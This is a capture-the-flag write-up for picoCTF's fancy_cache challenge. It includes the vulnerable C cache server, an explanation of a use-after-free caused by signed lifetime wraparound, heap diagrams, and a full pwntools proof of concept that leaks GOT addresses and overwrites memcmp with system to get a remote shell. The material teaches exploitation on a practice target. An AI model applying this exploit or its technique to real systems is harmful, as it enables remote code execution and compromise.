This is a walkthroug of my solution solving the fancy_cache challenge on picoCTF. It’s a classic example of a use after free vulnerability.
Static analysis
Looking at the code we can start to understand the purpose of this program. Its essentially creating up to 32 cache_entries in memory and stores strings on the heap as needed.
The API it presents only allows two commands, cache_set and cache_get.
cache_set
creates a new String on the heap to hold the key that the client wants to use to refer to the cache entry (line 167-168). Note that the a String object ends up living on the stack as two chunks. One for the metadata containing [lenght][capacity][ptr to data on heap]. The second chunk is the actual data and is a chunk big enough to hold lenght bytes.
The cache_set function completes by then creating a cache entry that points to the key String (line 185), the data String (line 187-191) and finally a lifetime int provided by the user. Intriguignly, the lifetime seems to be an int (line 17 and 192). So far no real bug…
cache_get
Looking at the cache_get, we see that it does things slightly differently. For one it creates the string object to hold the temporary key on the stack (line 143) but the actual data of the string will still be on the heap (line 95). Its worth noting that nowhere is that heap chunk freed. This is a bug.
Also we see that if there is a cache hit, the lifetime of the cache_entry is simply decremented with no bound checking. This being an signed int can cause problems. This is also a bug.
If a cache_entry reaches a life of 0 or less, it gets destroyed (lines 157-163). Lets verify how strings are destroyed…
// Frees a string.
void string_destroy(struct string *str) {
fprintf(stderr, "free(%p) (string_destroy str)\n", str);
free(str);
}Remember that a string ends up living on the heap as two different chunks. One for metadata and one for the actual data. It turns out that only the metadata chunk gets freed. Also, note that the actual cache_entry living on the .bss is not touched either as it assumes its lifetime is now set to 0 and will be ignored and/or overwritten in the future. Those two bugs together are setting the conditions for a use after free (UAF) vulnerability and this is what we will take advantage of.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
struct string {
size_t length;
size_t capacity;
char *data;
};
struct cache_entry {
struct string *key;
struct string *value;
// The cache entry expires after it has been looked up this many times.
int lifetime;
};
#define CACHE_GET 0
#define CACHE_SET 1
const size_t kCacheSize = 32;
const uint8_t kNotFound = 0x0;
const uint8_t kFound = 0x1;
const uint8_t kCacheFull = 0x2;
struct cache_entry cache[32];
size_t num_cache_entries = 0;
// The goal of this challenge is to get a shell. Since this machine has
// ASLR enabled, a good first step is to get the ability to read memory
// from the server. Once you have that working, read this string for a
// (flag|hint next steps).
const char *kSecretString = "[REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED]";
void *xmalloc(size_t size) {
void *ptr = malloc(size);
if (ptr == NULL) {
perror("malloc");
exit(1);
}
return ptr;
}
void *xrealloc(void *ptr, size_t size) {
void *newptr = realloc(ptr, size);
if (newptr == NULL) {
perror("realloc");
exit(1);
}
return newptr;
}
// Initializes a struct string to an empty string.
void string_init(struct string *str) {
str->length = 0;
str->capacity = 0;
str->data = NULL;
}
// Returns an empty string.
struct string *string_create(void) {
struct string *str = xmalloc(sizeof(*str));
fprintf(stderr, "malloc(%zu) = %p (string_create)\n", sizeof(*str), str);
string_init(str);
return str;
}
// Frees a string.
void string_destroy(struct string *str) {
fprintf(stderr, "free(%p) (string_destroy str)\n", str);
free(str);
}
// Returns 1 if the two strings are equal and 0 otherwise.
int string_eq(struct string *a, struct string *b) {
if (a->length != b->length) {
return 0;
}
return memcmp(a->data, b->data, a->length) == 0;
}
// Reads a string into an existing struct string.
void read_into_string(struct string *str) {
size_t length;
read(STDIN_FILENO, &length, sizeof(length));
str->length = length;
if (length > str->capacity) {
char *old_data = str->data;
str->data = xrealloc(old_data, length);
fprintf(stderr, "realloc(%p, %zu) = %p (read_into_string)\n", old_data, length, str->data);
str->capacity = length;
}
read(STDIN_FILENO, str->data, length);
}
int read_int(void) {
int value;
read(STDIN_FILENO, &value, sizeof(value));
return value;
}
void write_string(struct string *str) {
write(STDOUT_FILENO, &str->length, sizeof(str->length));
write(STDOUT_FILENO, str->data, str->length);
}
struct cache_entry *cache_lookup(struct string *key) {
size_t i;
for (i = 0; i < kCacheSize; ++i) {
struct cache_entry *entry = &cache[i];
// Skip expired cache entries.
if (entry->lifetime == 0) {
continue;
}
if (string_eq(entry->key, key)) {
return entry;
}
}
return NULL;
}
struct cache_entry *find_free_slot(void) {
size_t i;
for (i = 0; i < kCacheSize; ++i) {
if (cache[i].lifetime == 0) {
return &cache[i];
}
}
return NULL;
}
void do_cache_get(void) {
struct string key;
string_init(&key);
read_into_string(&key);
struct cache_entry *entry = cache_lookup(&key);
if (entry == NULL) {
write(STDOUT_FILENO, &kNotFound, sizeof(kNotFound));
return;
}
write(STDOUT_FILENO, &kFound, sizeof(kFound));
write_string(entry->value);
--entry->lifetime;
if (entry->lifetime <= 0) {
// The cache entry is now expired.
fprintf(stderr, "Destroying key\n");
string_destroy(entry->key);
fprintf(stderr, "Destroying value\n");
string_destroy(entry->value);
}
}
void do_cache_set(void) {
struct string *key = string_create();
read_into_string(key);
struct cache_entry *entry = cache_lookup(key);
if (entry == NULL) {
// There's no existing entry for this key. Find a free slot to put
// a new entry in.
entry = find_free_slot();
}
if (entry == NULL) {
// No free slots, tell the client the cache is full :-(
write(STDOUT_FILENO, &kCacheFull, sizeof(kCacheFull));
return;
}
write(STDOUT_FILENO, &kFound, sizeof(kFound));
entry->key = key;
if (entry->value == NULL) {
entry->value = string_create();
}
read_into_string(entry->value);
entry->lifetime = read_int();
}
int main(int argc, char **argv) {
int rc;
uint8_t command;
fprintf(stderr, "Cache server starting up (secret = %s)\n", kSecretString);
while (1) {
if (read(STDIN_FILENO, &command, 1) != 1) {
exit(1);
}
switch (command) {
case CACHE_GET:
do_cache_get();
break;
case CACHE_SET:
do_cache_set();
break;
default:
// Invalid command.
return 1;
break;
}
}
return 0;
}
Exploiting the UAF bug
Before we look at how to control the data in the use after free vuln, we need to figure out how to force a cache_entry to be destroyed while still being able to use it after. The solution is to put a number that when decremented once will be smaller or equal to 0 but if decremented twice, will be positive. The bigest value for a signed 32 bit int is 0x7fffffff. If we increment this value twice, we will get 0x80000001. We need to incremented it twice because the cache_get function decrements it before testing if its lower or equal to 0.
step 1 Leaking memory
When an entry is created, the memory layout of the system.
.bss heap
cache_entry cache[32]
[key_ptr ] -------------> [lenght ]
[value_ptr ] -----------+ [capacity ]
[lifetime ] | [data_ptr ]--+
| [key_data ]<-+
| [key_data ]
| [key_data ]
+-> [lenght ]
[capacity ]
[data_ptr ]--+
[value_data]<-+
[value_data]
[value_data]
We want to create a cache entry that will do this (note the lifetime):
.bss heap
cache_entry cache[32]
[key_ptr ] -------------> [0x00000008]
[value_ptr ] -----------+ [0x00000008]
[0x80000001] | [data_ptr ]--+
| [some_key ]<-+
+-> [0x00000009]
[0x00000009]
[data_ptr ]--+
[dont care ]<-+
Here is my python code to do this using the python client provided:
cache_set(f, 'some_key', 'dont care', 0x80000001)Now lets see what happens when we retrieve that cache_entry once…
cache_get(f, 'some_key')We obtain this:
.bss heap
cache_entry cache[32]
[key_ptr ] -------------> [0x00000008] *free
[value_ptr ] -----------+ [0x00000008] *free
[0x80000000] | [data_ptr ]--+ *free
| [some_key ]<-+
+-> [0x00000009] *free
[0x00000009] *free
[data_ptr ]--+ *free
[dont care ]<-+
Remember how on a cache_get, the data of the string for the key is actually stored on the heap and never freed? this is a perfect way of filling the two free chunks with exactly what we want.
Also of note the freed chunk will be filled backwars so lets fill them with the data we want:
cache_get(f, p32(4)+p32(4)+p32(addr2leak)).bss heap
cache_entry cache[32]
[key_ptr ] -------------> [0x00000008] *free
[value_ptr ] -----------+ [0x00000008] *free
[0x80000000] | [data_ptr ]--+ *free
| [some_key ]<-+
+-> [0x00000004]
[0x00000004]
[addr2leak ]----> (free_got maybe?)
[dont care ]
cache_get(f, p32(len('some_key')) + p32(len('some_key'))).bss heap
cache_entry cache[32]
[key_ptr ] -------------> [0x00000008]
[value_ptr ] -----------+ [0x00000008]
[0x80000000] | [data_ptr ]--+
| [some_key ]<-+
+-> [0x00000004]
[0x00000004]
[addr2leak ]----> (free_got maybe?)
[dont care ]
Finally, if we now retrieve this entry, we will leak the free_got address.
cache_get(f, 'some_key')You can repeat this process 32 times to leak anything since the system can hold 32 cache entries. Here is my leak function:
def leak(key, addr):
# Add an entry to the cache
cache_set(f, key, 'cache value', 0x80000001)
# Retrieve it back and free the strings on the heap.
cache_get(f, key)
# Fill the freed block
cache_get(f, p32(4)+p32(4)+p32(addr))
cache_get(f, p32(len(key)) + p32(len(key)))
# Retrieve it back
return cache_get(f, key)step 2 Write What Where
At this point this is trivial because the cache_set entry allows updating the data of a cache entry. Our leak function already did all the legwork necessary to have the entry point to any address in memory. All that remains to change the value is to update the cache_entry.
Finding system
Libc was provided so it’s a matter of leaking a known address (I leaked free in my case) and computing the offset of system from that address.
Corrupting a function in the .got where we control the argument when its called
A good candidate for this is the memcmp function since it is used to compare the key it received. We are in full control of the key sent to the server therefore we should be able to corrupt the memcmp_got entry to force a call to system(“/bin/sh”).
Puting it all together
Here is my complete proof of concept for this challenge:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
#!/usr/bin/python
from pwn import *
CACHE_GET = 0
CACHE_SET = 1
kNotFound = 0x0
kFound = 0x1
kCacheFull = 0x2
def write_string(f, s):
log.info('str_len of addr %d' % len(s))
f.send(p32(len(s)))
f.send(s)
def read_string(f):
size = u32(f.recv(4))
return f.recv(size)
def cache_get(f, key):
f.send(chr(CACHE_GET))
write_string(f, key)
status = ord(f.recv(1))
if status == kNotFound:
return None
assert status == kFound
return read_string(f)
def cache_set(f, key, value, lifetime):
f.send(chr(CACHE_SET))
write_string(f, key)
status = ord(f.recv(1))
if status == kCacheFull:
return False
print '%r' % status
assert status == kFound
write_string(f, value)
f.send(p32(lifetime))
return True
#f = remote('127.0.0.1', 1337)
f = remote('vuln2014.picoctf.com', 4548)
# It's useful to pause the client right after connecting so that you can
# attach to the server with gdb if desired.
raw_input()
def leak(key, addr):
# Add an entry to the cache
cache_set(f, key, 'cache value', 0x80000001)
# Retrieve it back and free the strings on the heap.
cache_get(f, key)
# Fill the freed block
cache_get(f, p32(4)+p32(4)+p32(addr))
cache_get(f, p32(len(key)) + p32(len(key)))
# Retrieve it back
return cache_get(f, key)
#leak address of free from got
free = u32(leak('/bin/sh \x00',0x804b010))
log.success('leaked free: 0x%x' % free)
system = free - 0x373f0 #on the target
#system = free - 0x373a0#on my box
log.success('system: 0x%x' % system)
#leak memcmp (stage for overwrite)
memcmp = u32(leak('/bin/sh\x00',0x804b014))
log.success('leaked memcmp 0x%x' % memcmp)
#overwrite the memcmp_got with address of system
cache_set(f, '/bin/sh\x00', p32(system), 0x50)
log.info('memcmp_got now points to system')
#trigger bug
f.send(chr(CACHE_GET))
write_string(f, '/bin/sh\x00')
f.interactive()